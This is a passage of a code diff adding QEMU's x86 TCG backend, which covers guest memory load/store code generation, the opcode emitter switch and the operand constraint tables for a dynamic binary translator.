TCG_TYPE_I32, tcg_target_call_iarg_regs[2], + l->mem_index); + tcg_out_movi(s, TCG_TYPE_PTR, tcg_target_call_iarg_regs[3], + (uintptr_t)l->raddr); + } + + tcg_out_call(s, qemu_ld_helpers[opc & ~MO_SIGN]); // qq + + data_reg = l->datalo_reg; + switch (opc & MO_SSIZE) { + case MO_SB: + tcg_out_ext8s(s, data_reg, TCG_REG_EAX, P_REXW); + break; + case MO_SW: + tcg_out_ext16s(s, data_reg, TCG_REG_EAX, P_REXW); + break; +#if TCG_TARGET_REG_BITS == 64 + case MO_SL: + tcg_out_ext32s(s, data_reg, TCG_REG_EAX); + break; +#endif + case MO_UB: + case MO_UW: + /* Note that the helpers have zero-extended to tcg_target_long. */ + case MO_UL: + tcg_out_mov(s, TCG_TYPE_I32, data_reg, TCG_REG_EAX); + break; + case MO_Q: + if (TCG_TARGET_REG_BITS == 64) { + tcg_out_mov(s, TCG_TYPE_I64, data_reg, TCG_REG_RAX); + } else if (data_reg == TCG_REG_EDX) { + /* xchg %edx, %eax */ + tcg_out_opc(s, OPC_XCHG_ax_r32 + TCG_REG_EDX, 0, 0, 0); + tcg_out_mov(s, TCG_TYPE_I32, l->datahi_reg, TCG_REG_EAX); + } else { + tcg_out_mov(s, TCG_TYPE_I32, data_reg, TCG_REG_EAX); + tcg_out_mov(s, TCG_TYPE_I32, l->datahi_reg, TCG_REG_EDX); + } + break; + default: + tcg_abort(); + } + + /* Jump to the code corresponding to next IR of qemu_st */ + tcg_out_jmp(s, l->raddr); +} + +/* + * Generate code for the slow path for a store at the end of block + */ +static void tcg_out_qemu_st_slow_path(TCGContext *s, TCGLabelQemuLdst *l) +{ + TCGMemOp opc = l->opc; + TCGMemOp s_bits = opc & MO_SIZE; + tcg_insn_unit **label_ptr = &l->label_ptr[0]; + TCGReg retaddr; + + /* resolve label address */ + tcg_patch32(label_ptr[0], s->code_ptr - label_ptr[0] - 4); + if (TARGET_LONG_BITS > TCG_TARGET_REG_BITS) { + tcg_patch32(label_ptr[1], s->code_ptr - label_ptr[1] - 4); + } + + if (TCG_TARGET_REG_BITS == 32) { + int ofs = 0; + + tcg_out_st(s, TCG_TYPE_PTR, TCG_AREG0, TCG_REG_ESP, ofs); + ofs += 4; + + tcg_out_st(s, TCG_TYPE_I32, l->addrlo_reg, TCG_REG_ESP, ofs); + ofs += 4; + + if (TARGET_LONG_BITS == 64) { + tcg_out_st(s, TCG_TYPE_I32, l->addrhi_reg, TCG_REG_ESP, ofs); + ofs += 4; + } + + tcg_out_st(s, TCG_TYPE_I32, l->datalo_reg, TCG_REG_ESP, ofs); + ofs += 4; + + if (s_bits == MO_64) { + tcg_out_st(s, TCG_TYPE_I32, l->datahi_reg, TCG_REG_ESP, ofs); + ofs += 4; + } + + tcg_out_sti(s, TCG_TYPE_I32, TCG_REG_ESP, ofs, l->mem_index); + ofs += 4; + + retaddr = TCG_REG_EAX; + tcg_out_movi(s, TCG_TYPE_I32, retaddr, (uintptr_t)l->raddr); + tcg_out_st(s, TCG_TYPE_I32, retaddr, TCG_REG_ESP, ofs); + } else { + tcg_out_mov(s, TCG_TYPE_PTR, tcg_target_call_iarg_regs[0], TCG_AREG0); + /* The second argument is already loaded with addrlo. */ + tcg_out_mov(s, (s_bits == MO_64 ? TCG_TYPE_I64 : TCG_TYPE_I32), + tcg_target_call_iarg_regs[2], l->datalo_reg); + tcg_out_movi(s, TCG_TYPE_I32, tcg_target_call_iarg_regs[3], + l->mem_index); + + if (ARRAY_SIZE(tcg_target_call_iarg_regs) > 4) { + retaddr = tcg_target_call_iarg_regs[4]; + tcg_out_movi(s, TCG_TYPE_PTR, retaddr, (uintptr_t)l->raddr); + } else { + retaddr = TCG_REG_RAX; + tcg_out_movi(s, TCG_TYPE_PTR, retaddr, (uintptr_t)l->raddr); + tcg_out_st(s, TCG_TYPE_PTR, retaddr, TCG_REG_ESP, + TCG_TARGET_CALL_STACK_OFFSET); + } + } + + /* "Tail call" to the helper, with the return address back inline. */ + tcg_out_push(s, retaddr); + tcg_out_jmp(s, qemu_st_helpers[opc]); +} +#elif defined(__x86_64__) && defined(__linux__) +# include +# include + +int arch_prctl(int code, unsigned long addr); + +static inline void setup_guest_base_seg(TCGContext *s) +{ + if (arch_prctl(ARCH_SET_GS, GUEST_BASE) == 0) { + s->guest_base_flags = P_GS; + } +} +#else +static inline void setup_guest_base_seg(TCGContext *s) { } +#endif /* SOFTMMU */ + +static void tcg_out_qemu_ld_direct(TCGContext *s, TCGReg datalo, TCGReg datahi, + TCGReg base, intptr_t ofs, int seg, + TCGMemOp memop) +{ + const TCGMemOp real_bswap = memop & MO_BSWAP; + TCGMemOp bswap = real_bswap; + int movop = OPC_MOVL_GvEv; + + if (s->have_movbe && real_bswap) { + bswap = 0; + movop = OPC_MOVBE_GyMy; + } + + switch (memop & MO_SSIZE) { + case MO_UB: + tcg_out_modrm_offset(s, OPC_MOVZBL + seg, datalo, base, ofs); + break; + case MO_SB: + tcg_out_modrm_offset(s, OPC_MOVSBL + P_REXW + seg, datalo, base, ofs); + break; + case MO_UW: + tcg_out_modrm_offset(s, OPC_MOVZWL + seg, datalo, base, ofs); + if (real_bswap) { + tcg_out_rolw_8(s, datalo); + } + break; + case MO_SW: + if (real_bswap) { + if (s->have_movbe) { + tcg_out_modrm_offset(s, OPC_MOVBE_GyMy + P_DATA16 + seg, + datalo, base, ofs); + } else { + tcg_out_modrm_offset(s, OPC_MOVZWL + seg, datalo, base, ofs); + tcg_out_rolw_8(s, datalo); + } + tcg_out_modrm(s, OPC_MOVSWL + P_REXW, datalo, datalo); + } else { + tcg_out_modrm_offset(s, OPC_MOVSWL + P_REXW + seg, + datalo, base, ofs); + } + break; + case MO_UL: + tcg_out_modrm_offset(s, movop + seg, datalo, base, ofs); + if (bswap) { + tcg_out_bswap32(s, datalo); + } + break; +#if TCG_TARGET_REG_BITS == 64 + case MO_SL: + if (real_bswap) { + tcg_out_modrm_offset(s, movop + seg, datalo, base, ofs); + if (bswap) { + tcg_out_bswap32(s, datalo); + } + tcg_out_ext32s(s, datalo, datalo); + } else { + tcg_out_modrm_offset(s, OPC_MOVSLQ + seg, datalo, base, ofs); + } + break; +#endif + case MO_Q: + if (TCG_TARGET_REG_BITS == 64) { + tcg_out_modrm_offset(s, movop + P_REXW + seg, datalo, base, ofs); + if (bswap) { + tcg_out_bswap64(s, datalo); + } + } else { + if (real_bswap) { + int t = datalo; + datalo = datahi; + datahi = t; + } + if (base != datalo) { + tcg_out_modrm_offset(s, movop + seg, datalo, base, ofs); + tcg_out_modrm_offset(s, movop + seg, datahi, base, ofs + 4); + } else { + tcg_out_modrm_offset(s, movop + seg, datahi, base, ofs + 4); + tcg_out_modrm_offset(s, movop + seg, datalo, base, ofs); + } + if (bswap) { + tcg_out_bswap32(s, datalo); + tcg_out_bswap32(s, datahi); + } + } + break; + default: + tcg_abort(); + } +} + +/* XXX: qemu_ld and qemu_st could be modified to clobber only EDX and + EAX. It will be useful once fixed registers globals are less + common. */ +static void tcg_out_qemu_ld(TCGContext *s, const TCGArg *args, bool is64) +{ + TCGReg datalo, datahi, addrlo; + TCGReg addrhi QEMU_UNUSED_VAR; + TCGMemOp opc; +#if defined(CONFIG_SOFTMMU) + int mem_index; + TCGMemOp s_bits; + tcg_insn_unit *label_ptr[2]; +#endif + + datalo = *args++; + datahi = (TCG_TARGET_REG_BITS == 32 && is64 ? *args++ : 0); + addrlo = *args++; + addrhi = (TARGET_LONG_BITS > TCG_TARGET_REG_BITS ? *args++ : 0); + opc = *args++; + +#if defined(CONFIG_SOFTMMU) + mem_index = *args++; + s_bits = opc & MO_SIZE; + + tcg_out_tlb_load(s, addrlo, addrhi, mem_index, s_bits, + label_ptr, offsetof(CPUTLBEntry, addr_read)); + + /* TLB Hit. */ + tcg_out_qemu_ld_direct(s, datalo, datahi, TCG_REG_L1, 0, 0, opc); + + /* Record the current context of a load into ldst label */ + add_qemu_ldst_label(s, true, opc, datalo, datahi, addrlo, addrhi, + mem_index, s->code_ptr, label_ptr); +#else + { + int32_t offset = GUEST_BASE; + TCGReg base = addrlo; + int seg = 0; + + /* ??? We assume all operations have left us with register contents + that are zero extended. So far this appears to be true. If we + want to enforce this, we can either do an explicit zero-extension + here, or (if GUEST_BASE == 0, or a segment register is in use) + use the ADDR32 prefix. For now, do nothing. */ + if (GUEST_BASE && s->guest_base_flags) { + seg = s->guest_base_flags; + offset = 0; + } else if (TCG_TARGET_REG_BITS == 64 && offset != GUEST_BASE) { + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_L1, GUEST_BASE); + tgen_arithr(s, ARITH_ADD + P_REXW, TCG_REG_L1, base); + base = TCG_REG_L1; + offset = 0; + } + + tcg_out_qemu_ld_direct(s, datalo, datahi, base, offset, seg, opc); + } +#endif +} + +static void tcg_out_qemu_st_direct(TCGContext *s, TCGReg datalo, TCGReg datahi, + TCGReg base, intptr_t ofs, int seg, + TCGMemOp memop) +{ + /* ??? Ideally we wouldn't need a scratch register. For user-only, + we could perform the bswap twice to restore the original value + instead of moving to the scratch. But as it is, the L constraint + means that TCG_REG_L0 is definitely free here. */ + const TCGReg scratch = TCG_REG_L0; + const TCGMemOp real_bswap = memop & MO_BSWAP; + TCGMemOp bswap = real_bswap; + int movop = OPC_MOVL_EvGv; + + if (s->have_movbe && real_bswap) { + bswap = 0; + movop = OPC_MOVBE_MyGy; + } + + switch (memop & MO_SIZE) { + case MO_8: + /* In 32-bit mode, 8-bit stores can only happen from [abcd]x. + Use the scratch register if necessary. */ + if (TCG_TARGET_REG_BITS == 32 && datalo >= 4) { + tcg_out_mov(s, TCG_TYPE_I32, scratch, datalo); + datalo = scratch; + } + tcg_out_modrm_offset(s, OPC_MOVB_EvGv + P_REXB_R + seg, + datalo, base, ofs); + break; + case MO_16: + if (bswap) { + tcg_out_mov(s, TCG_TYPE_I32, scratch, datalo); + tcg_out_rolw_8(s, scratch); + datalo = scratch; + } + tcg_out_modrm_offset(s, movop + P_DATA16 + seg, datalo, base, ofs); + break; + case MO_32: + if (bswap) { + tcg_out_mov(s, TCG_TYPE_I32, scratch, datalo); + tcg_out_bswap32(s, scratch); + datalo = scratch; + } + tcg_out_modrm_offset(s, movop + seg, datalo, base, ofs); + break; + case MO_64: + if (TCG_TARGET_REG_BITS == 64) { + if (bswap) { + tcg_out_mov(s, TCG_TYPE_I64, scratch, datalo); + tcg_out_bswap64(s, scratch); + datalo = scratch; + } + tcg_out_modrm_offset(s, movop + P_REXW + seg, datalo, base, ofs); + } else if (bswap) { + tcg_out_mov(s, TCG_TYPE_I32, scratch, datahi); + tcg_out_bswap32(s, scratch); + tcg_out_modrm_offset(s, OPC_MOVL_EvGv + seg, scratch, base, ofs); + tcg_out_mov(s, TCG_TYPE_I32, scratch, datalo); + tcg_out_bswap32(s, scratch); + tcg_out_modrm_offset(s, OPC_MOVL_EvGv + seg, scratch, base, ofs+4); + } else { + if (real_bswap) { + int t = datalo; + datalo = datahi; + datahi = t; + } + tcg_out_modrm_offset(s, movop + seg, datalo, base, ofs); + tcg_out_modrm_offset(s, movop + seg, datahi, base, ofs+4); + } + break; + default: + tcg_abort(); + } +} + +static void tcg_out_qemu_st(TCGContext *s, const TCGArg *args, bool is64) +{ + TCGReg datalo, datahi, addrlo; + TCGReg addrhi QEMU_UNUSED_VAR; + TCGMemOp opc; +#if defined(CONFIG_SOFTMMU) + int mem_index; + TCGMemOp s_bits; + tcg_insn_unit *label_ptr[2]; +#endif + + datalo = *args++; + datahi = (TCG_TARGET_REG_BITS == 32 && is64 ? *args++ : 0); + addrlo = *args++; + addrhi = (TARGET_LONG_BITS > TCG_TARGET_REG_BITS ? *args++ : 0); + opc = *args++; + +#if defined(CONFIG_SOFTMMU) + mem_index = *args++; + s_bits = opc & MO_SIZE; + + tcg_out_tlb_load(s, addrlo, addrhi, mem_index, s_bits, + label_ptr, offsetof(CPUTLBEntry, addr_write)); + + /* TLB Hit. */ + tcg_out_qemu_st_direct(s, datalo, datahi, TCG_REG_L1, 0, 0, opc); + + /* Record the current context of a store into ldst label */ + add_qemu_ldst_label(s, false, opc, datalo, datahi, addrlo, addrhi, + mem_index, s->code_ptr, label_ptr); +#else + { + int32_t offset = GUEST_BASE; + TCGReg base = addrlo; + int seg = 0; + + /* ??? We assume all operations have left us with register contents + that are zero extended. So far this appears to be true. If we + want to enforce this, we can either do an explicit zero-extension + here, or (if GUEST_BASE == 0, or a segment register is in use) + use the ADDR32 prefix. For now, do nothing. */ + if (GUEST_BASE && s->guest_base_flags) { + seg = s->guest_base_flags; + offset = 0; + } else if (TCG_TARGET_REG_BITS == 64 && offset != GUEST_BASE) { + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_L1, GUEST_BASE); + tgen_arithr(s, ARITH_ADD + P_REXW, TCG_REG_L1, base); + base = TCG_REG_L1; + offset = 0; + } + + tcg_out_qemu_st_direct(s, datalo, datahi, base, offset, seg, opc); + } +#endif +} + +static inline void tcg_out_op(TCGContext *s, TCGOpcode opc, + const TCGArg *args, const int *const_args) +{ + int c, vexop, rexw = 0; + +#if TCG_TARGET_REG_BITS == 64 +# define OP_32_64(x) \ + case glue(glue(INDEX_op_, x), _i64): \ + rexw = P_REXW; /* FALLTHRU */ \ + case glue(glue(INDEX_op_, x), _i32) +#else +# define OP_32_64(x) \ + case glue(glue(INDEX_op_, x), _i32) +#endif + + switch(opc) { + case INDEX_op_exit_tb: + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_EAX, args[0]); + tcg_out_jmp(s, s->tb_ret_addr); + break; + case INDEX_op_goto_tb: + if (s->tb_jmp_offset) { + /* direct jump method */ + tcg_out8(s, OPC_JMP_long); /* jmp im */ + s->tb_jmp_offset[args[0]] = tcg_current_code_size(s); + tcg_out32(s, 0); + } else { + /* indirect jump method */ + tcg_out_modrm_offset(s, OPC_GRP5, EXT5_JMPN_Ev, -1, + (intptr_t)(s->tb_next + args[0])); + } + s->tb_next_offset[args[0]] = tcg_current_code_size(s); + break; + case INDEX_op_br: + tcg_out_jxx(s, JCC_JMP, args[0], 0); + break; + OP_32_64(ld8u): + /* Note that we can ignore REXW for the zero-extend to 64-bit. */ + tcg_out_modrm_offset(s, OPC_MOVZBL, args[0], args[1], args[2]); + break; + OP_32_64(ld8s): + tcg_out_modrm_offset(s, OPC_MOVSBL + rexw, args[0], args[1], args[2]); + break; + OP_32_64(ld16u): + /* Note that we can ignore REXW for the zero-extend to 64-bit. */ + tcg_out_modrm_offset(s, OPC_MOVZWL, args[0], args[1], args[2]); + break; + OP_32_64(ld16s): + tcg_out_modrm_offset(s, OPC_MOVSWL + rexw, args[0], args[1], args[2]); + break; +#if TCG_TARGET_REG_BITS == 64 + case INDEX_op_ld32u_i64: +#endif + case INDEX_op_ld_i32: + tcg_out_ld(s, TCG_TYPE_I32, args[0], args[1], args[2]); + break; + + OP_32_64(st8): + if (const_args[0]) { + tcg_out_modrm_offset(s, OPC_MOVB_EvIz, + 0, args[1], args[2]); + tcg_out8(s, args[0]); + } else { + tcg_out_modrm_offset(s, OPC_MOVB_EvGv | P_REXB_R, + args[0], args[1], args[2]); + } + break; + OP_32_64(st16): + if (const_args[0]) { + tcg_out_modrm_offset(s, OPC_MOVL_EvIz | P_DATA16, + 0, args[1], args[2]); + tcg_out16(s, args[0]); + } else { + tcg_out_modrm_offset(s, OPC_MOVL_EvGv | P_DATA16, + args[0], args[1], args[2]); + } + break; +#if TCG_TARGET_REG_BITS == 64 + case INDEX_op_st32_i64: +#endif + case INDEX_op_st_i32: + if (const_args[0]) { + tcg_out_modrm_offset(s, OPC_MOVL_EvIz, 0, args[1], args[2]); + tcg_out32(s, args[0]); + } else { + tcg_out_st(s, TCG_TYPE_I32, args[0], args[1], args[2]); + } + break; + + OP_32_64(add): + /* For 3-operand addition, use LEA. */ + if (args[0] != args[1]) { + TCGArg a0 = args[0], a1 = args[1], a2 = args[2], c3 = 0; + + if (const_args[2]) { + c3 = a2, a2 = -1; + } else if (a0 == a2) { + /* Watch out for dest = src + dest, since we've removed + the matching constraint on the add. */ + tgen_arithr(s, ARITH_ADD + rexw, a0, a1); + break; + } + + tcg_out_modrm_sib_offset(s, OPC_LEA + rexw, a0, a1, a2, 0, c3); + break; + } + c = ARITH_ADD; + goto gen_arith; + OP_32_64(sub): + c = ARITH_SUB; + goto gen_arith; + OP_32_64(and): + c = ARITH_AND; + goto gen_arith; + OP_32_64(or): + c = ARITH_OR; + goto gen_arith; + OP_32_64(xor): + c = ARITH_XOR; + goto gen_arith; + gen_arith: + if (const_args[2]) { + tgen_arithi(s, c + rexw, args[0], args[2], 0); + } else { + tgen_arithr(s, c + rexw, args[0], args[2]); + } + break; + + OP_32_64(andc): + if (const_args[2]) { + tcg_out_mov(s, rexw ? TCG_TYPE_I64 : TCG_TYPE_I32, + args[0], args[1]); + tgen_arithi(s, ARITH_AND + rexw, args[0], ~args[2], 0); + } else { + tcg_out_vex_modrm(s, OPC_ANDN + rexw, args[0], args[2], args[1]); + } + break; + + OP_32_64(mul): + if (const_args[2]) { + int32_t val; + val = args[2]; + if (val == (int8_t)val) { + tcg_out_modrm(s, OPC_IMUL_GvEvIb + rexw, args[0], args[0]); + tcg_out8(s, val); + } else { + tcg_out_modrm(s, OPC_IMUL_GvEvIz + rexw, args[0], args[0]); + tcg_out32(s, val); + } + } else { + tcg_out_modrm(s, OPC_IMUL_GvEv + rexw, args[0], args[2]); + } + break; + + OP_32_64(div2): + tcg_out_modrm(s, OPC_GRP3_Ev + rexw, EXT3_IDIV, args[4]); + break; + OP_32_64(divu2): + tcg_out_modrm(s, OPC_GRP3_Ev + rexw, EXT3_DIV, args[4]); + break; + + OP_32_64(shl): + c = SHIFT_SHL; + vexop = OPC_SHLX; + goto gen_shift_maybe_vex; + OP_32_64(shr): + c = SHIFT_SHR; + vexop = OPC_SHRX; + goto gen_shift_maybe_vex; + OP_32_64(sar): + c = SHIFT_SAR; + vexop = OPC_SARX; + goto gen_shift_maybe_vex; + OP_32_64(rotl): + c = SHIFT_ROL; + goto gen_shift; + OP_32_64(rotr): + c = SHIFT_ROR; + goto gen_shift; + gen_shift_maybe_vex: + if (have_bmi2 && !const_args[2]) { + tcg_out_vex_modrm(s, vexop + rexw, args[0], args[2], args[1]); + break; + } + /* FALLTHRU */ + gen_shift: + if (const_args[2]) { + tcg_out_shifti(s, c + rexw, args[0], args[2]); + } else { + tcg_out_modrm(s, OPC_SHIFT_cl + rexw, c, args[0]); + } + break; + + case INDEX_op_brcond_i32: + tcg_out_brcond32(s, args[2], args[0], args[1], const_args[1], + args[3], 0); + break; + case INDEX_op_setcond_i32: + tcg_out_setcond32(s, args[3], args[0], args[1], + args[2], const_args[2]); + break; + case INDEX_op_movcond_i32: + tcg_out_movcond32(s, args[5], args[0], args[1], + args[2], const_args[2], args[3]); + break; + + OP_32_64(bswap16): + tcg_out_rolw_8(s, args[0]); + break; + OP_32_64(bswap32): + tcg_out_bswap32(s, args[0]); + break; + + OP_32_64(neg): + tcg_out_modrm(s, OPC_GRP3_Ev + rexw, EXT3_NEG, args[0]); + break; + OP_32_64(not): + tcg_out_modrm(s, OPC_GRP3_Ev + rexw, EXT3_NOT, args[0]); + break; + + OP_32_64(ext8s): + tcg_out_ext8s(s, args[0], args[1], rexw); + break; + OP_32_64(ext16s): + tcg_out_ext16s(s, args[0], args[1], rexw); + break; + OP_32_64(ext8u): + tcg_out_ext8u(s, args[0], args[1]); + break; + OP_32_64(ext16u): + tcg_out_ext16u(s, args[0], args[1]); + break; + + case INDEX_op_qemu_ld_i32: + tcg_out_qemu_ld(s, args, 0); + break; + case INDEX_op_qemu_ld_i64: + tcg_out_qemu_ld(s, args, 1); + break; + case INDEX_op_qemu_st_i32: + tcg_out_qemu_st(s, args, 0); + break; + case INDEX_op_qemu_st_i64: + tcg_out_qemu_st(s, args, 1); + break; + + OP_32_64(mulu2): + tcg_out_modrm(s, OPC_GRP3_Ev + rexw, EXT3_MUL, args[3]); + break; + OP_32_64(muls2): + tcg_out_modrm(s, OPC_GRP3_Ev + rexw, EXT3_IMUL, args[3]); + break; + OP_32_64(add2): + if (const_args[4]) { + tgen_arithi(s, ARITH_ADD + rexw, args[0], args[4], 1); + } else { + tgen_arithr(s, ARITH_ADD + rexw, args[0], args[4]); + } + if (const_args[5]) { + tgen_arithi(s, ARITH_ADC + rexw, args[1], args[5], 1); + } else { + tgen_arithr(s, ARITH_ADC + rexw, args[1], args[5]); + } + break; + OP_32_64(sub2): + if (const_args[4]) { + tgen_arithi(s, ARITH_SUB + rexw, args[0], args[4], 1); + } else { + tgen_arithr(s, ARITH_SUB + rexw, args[0], args[4]); + } + if (const_args[5]) { + tgen_arithi(s, ARITH_SBB + rexw, args[1], args[5], 1); + } else { + tgen_arithr(s, ARITH_SBB + rexw, args[1], args[5]); + } + break; + +#if TCG_TARGET_REG_BITS == 32 + case INDEX_op_brcond2_i32: + tcg_out_brcond2(s, args, const_args, 0); + break; + case INDEX_op_setcond2_i32: + tcg_out_setcond2(s, args, const_args); + break; +#else /* TCG_TARGET_REG_BITS == 64 */ + case INDEX_op_ld32s_i64: + tcg_out_modrm_offset(s, OPC_MOVSLQ, args[0], args[1], args[2]); + break; + case INDEX_op_ld_i64: + tcg_out_ld(s, TCG_TYPE_I64, args[0], args[1], args[2]); + break; + case INDEX_op_st_i64: + if (const_args[0]) { + tcg_out_modrm_offset(s, OPC_MOVL_EvIz | P_REXW, + 0, args[1], args[2]); + tcg_out32(s, args[0]); + } else { + tcg_out_st(s, TCG_TYPE_I64, args[0], args[1], args[2]); + } + break; + + case INDEX_op_brcond_i64: + tcg_out_brcond64(s, args[2], args[0], args[1], const_args[1], + args[3], 0); + break; + case INDEX_op_setcond_i64: + tcg_out_setcond64(s, args[3], args[0], args[1], + args[2], const_args[2]); + break; + case INDEX_op_movcond_i64: + tcg_out_movcond64(s, args[5], args[0], args[1], + args[2], const_args[2], args[3]); + break; + + case INDEX_op_bswap64_i64: + tcg_out_bswap64(s, args[0]); + break; + case INDEX_op_ext32u_i64: + tcg_out_ext32u(s, args[0], args[1]); + break; + case INDEX_op_ext32s_i64: + tcg_out_ext32s(s, args[0], args[1]); + break; +#endif + + OP_32_64(deposit): + if (args[3] == 0 && args[4] == 8) { + /* load bits 0..7 */ + tcg_out_modrm(s, OPC_MOVB_EvGv | P_REXB_R | P_REXB_RM, + args[2], args[0]); + } else if (args[3] == 8 && args[4] == 8) { + /* load bits 8..15 */ + tcg_out_modrm(s, OPC_MOVB_EvGv, args[2], args[0] + 4); + } else if (args[3] == 0 && args[4] == 16) { + /* load bits 0..15 */ + tcg_out_modrm(s, OPC_MOVL_EvGv | P_DATA16, args[2], args[0]); + } else { + tcg_abort(); + } + break; + + case INDEX_op_mov_i32: /* Always emitted via tcg_out_mov. */ + case INDEX_op_mov_i64: + case INDEX_op_movi_i32: /* Always emitted via tcg_out_movi. */ + case INDEX_op_movi_i64: + case INDEX_op_call: /* Always emitted via tcg_out_call. */ + default: + tcg_abort(); + } + +#undef OP_32_64 +} + +static const TCGTargetOpDef x86_op_defs[] = { + { INDEX_op_exit_tb, { NULL } }, + { INDEX_op_goto_tb, { NULL } }, + { INDEX_op_br, { NULL } }, + { INDEX_op_ld8u_i32, { "r", "r" } }, + { INDEX_op_ld8s_i32, { "r", "r" } }, + { INDEX_op_ld16u_i32, { "r", "r" } }, + { INDEX_op_ld16s_i32, { "r", "r" } }, + { INDEX_op_ld_i32, { "r", "r" } }, + { INDEX_op_st8_i32, { "qi", "r" } }, + { INDEX_op_st16_i32, { "ri", "r" } }, + { INDEX_op_st_i32, { "ri", "r" } }, + + { INDEX_op_add_i32, { "r", "r", "ri" } }, + { INDEX_op_sub_i32, { "r", "0", "ri" } }, + { INDEX_op_mul_i32, { "r", "0", "ri" } }, + { INDEX_op_div2_i32, { "a", "d", "0", "1", "r" } }, + { INDEX_op_divu2_i32, { "a", "d", "0", "1", "r" } }, + { INDEX_op_and_i32, { "r", "0", "ri" } }, + { INDEX_op_or_i32, { "r", "0", "ri" } }, + { INDEX_op_xor_i32, { "r", "0", "ri" } }, + { INDEX_op_andc_i32, { "r", "r", "ri" } }, + + { INDEX_op_shl_i32, { "r", "0", "Ci" } }, + { INDEX_op_shr_i32, { "r", "0", "Ci" } }, + { INDEX_op_sar_i32, { "r", "0", "Ci" } }, + { INDEX_op_rotl_i32, { "r", "0", "ci" } }, + { INDEX_op_rotr_i32, { "r", "0", "ci" } }, + + { INDEX_op_brcond_i32, { "r", "ri" } }, + + { INDEX_op_bswap16_i32, { "r", "0" } }, + { INDEX_op_bswap32_i32, { "r", "0" } }, + + { INDEX_op_neg_i32, { "r", "0" } }, + + { INDEX_op_not_i32, { "r", "0" } }, + + { INDEX_op_ext8s_i32, { "r", "q" } }, + { INDEX_op_ext16s_i32, { "r", "r" } }, + { INDEX_op_ext8u_i32, { "r", "q" } }, + { INDEX_op_ext16u_i32, { "r", "r" } }, + + { INDEX_op_setcond_i32, { "q", "r", "ri" } }, + + { INDEX_op_deposit_i32, { "Q", "0", "Q" } }, + { INDEX_op_movcond_i32, { "r", "r", "ri", "r", "0" } }, + + { INDEX_op_mulu2_i32, { "a", "d", "a", "r" } }, + { INDEX_op_muls2_i32, { "a", "d", "a", "r" } }, + { INDEX_op_add2_i32, { "r", "r", "0", "1", "ri", "ri" } }, + { INDEX_op_sub2_i32, { "r", "r", "0", "1", "ri", "ri" } }, + +#if TCG_TARGET_REG_BITS == 32 + { INDEX_op_brcond2_i32, { "r", "r", "ri", "ri" } }, + { INDEX_op_setcond2_i32, { "r", "r", "r", "ri", "ri" } }, +#else + { INDEX_op_ld8u_i64, { "r", "r" } }, + { INDEX_op_ld8s_i64, { "r", "r" } }, + { INDEX_op_ld16u_i64, { "r", "r" } }, + { INDEX_op_ld16s_i64, { "r", "r" } }, + { INDEX_op_ld32u_i64, { "r", "r" } }, + { INDEX_op_ld32s_i64, { "r", "r" } }, + { INDEX_op_ld_i64, { "r", "r" } }, + { INDEX_op_st8_i64, { "ri", "r" } }, + { INDEX_op_st16_i64, { "ri", "r" } }, + { INDEX_op_st32_i64, { "ri", "r" } }, + { INDEX_op_st_i64, { "re", "r" } }, + + { INDEX_op_add_i64, { "r", "r", "re" } }, + { INDEX_op_mul_i64, { "r", "0", "re" } }, + { INDEX_op_div2_i64, { "a", "d", "0", "1", "r" } }, + { INDEX_op_divu2_i64, { "a", "d", "0", "1", "r" } }, + { INDEX_op_sub_i64, { "r", "0", "re" } }, + { INDEX_op_and_i64, { "r", "0", "reZ" } }, + { INDEX_op_or_i64, { "r", "0", "re" } }, + { INDEX_op_xor_i64, { "r", "0", "re" } }, + { INDEX_op_andc_i64, { "r", "r", "rI" } }, + + { INDEX_op_shl_i64, { "r", "0", "Ci" } }, + { INDEX_op_shr_i64, { "r", "0", "Ci" } }, + { INDEX_op_sar_i64, { "r", "0", "Ci" } }, + { INDEX_op_rotl_i64, { "r", "0", "ci" } }, + { INDEX_op_rotr_i64, { "r", "0", "ci" } }, + + { INDEX_op_brcond_i64, { "r", "re" } }, + { INDEX_op_setcond_i64, { "r", "r", "re" } }, + + { INDEX_op_bswap16_i64, { "r", "0" } }, + { INDEX_op_bswap32_i64, { "r", "0" } }, + { INDEX_op_bswap64_i64, { "r", "0" } }, + { INDEX_op_neg_i64, { "r", "0" } }, + { INDEX_op_not_i64, { "r", "0" } }, + + { INDEX_op_ext8s_i64, { "r", "r" } }, + { INDEX_op_ext16s_i64, { "r", "r" } }, + { INDEX_op_ext32s_i64, { "r", "r" } }, + { INDEX_op_ext8u_i64, { "r", "r" } }, + { INDEX_op_ext16u_i64, { "r", "r" } }, + { INDEX_op_ext32u_i64, { "r", "r" } }, + + { INDEX_op_deposit_i64, { "Q", "0", "Q" } }, + { INDEX_op_movcond_i64, { "r", "r", "re", "r", "0" } }, + + { INDEX_op_mulu2_i64, { "a", "d", "a", "r" } }, + { INDEX_op_muls2_i64, { "a", "d", "a", "r" } }, + { INDEX_op_add2_i64, { "r", "r", "0", "1", "re", "re" } }, + { INDEX_op_sub2_i64, { "r", "r", "0", "1", "re", "re" } }, +#endif + +#if TCG_TARGET_REG_BITS == 64 + { INDEX_op_qemu_ld_i32, { "r", "L" } }, + { INDEX_op_qemu_st_i32, { "L", "L" } }, + { INDEX_op_qemu_ld_i64, { "r", "L" } }, + { INDEX_op_qemu_st_i64, { "L", "L" } }, +#elif TARGET_LONG_BITS <= TCG_TARGET_REG_BITS + { INDEX_op_qemu_ld_i32, { "r", "L" } }, + { INDEX_op_qemu_st_i32, { "L", "L" } }, + { INDEX_op_qemu_ld_i64, { "r", "r", "L" } }, + { INDEX_op_qemu_st_i64, { "L", "L", "L" } }, +#else + { INDEX_op_qemu_ld_i32, { "r", "L", "L" } }, + { INDEX_op_qemu_st_i32, { "L", "L", "L" } }, + { INDEX_op_qemu_ld_i64, { "r", "r", "L", "L" } }, + { INDEX_op_qemu_st_i64, { "L", "L", "L", "L" } }, +#endif + { -1 }, +}; + +static int tcg_target_callee_save_regs[] = { +#if TCG_TARGET_REG_BITS == 64 + TCG_REG_RBP, + TCG_REG_RBX, +#if (defined(_WIN64) || defined(__CYGWIN__)) + TCG_REG_RDI, + TCG_REG_RSI, +#endif + TCG_REG_R12, + TCG_REG_R13, + TCG_REG_R14, /* Currently used for the global env. */ + TCG_REG_R15, +#else + TCG_REG_EBP, /* Currently used for the global env. */ + TCG_REG_EBX, + TCG_REG_ESI, + TCG_REG_EDI, +#endif +}; + +/* Compute frame size via macros, to share between tcg_target_qemu_prologue + and tcg_register_jit. */ + +#define PUSH_SIZE \ + ((1 + 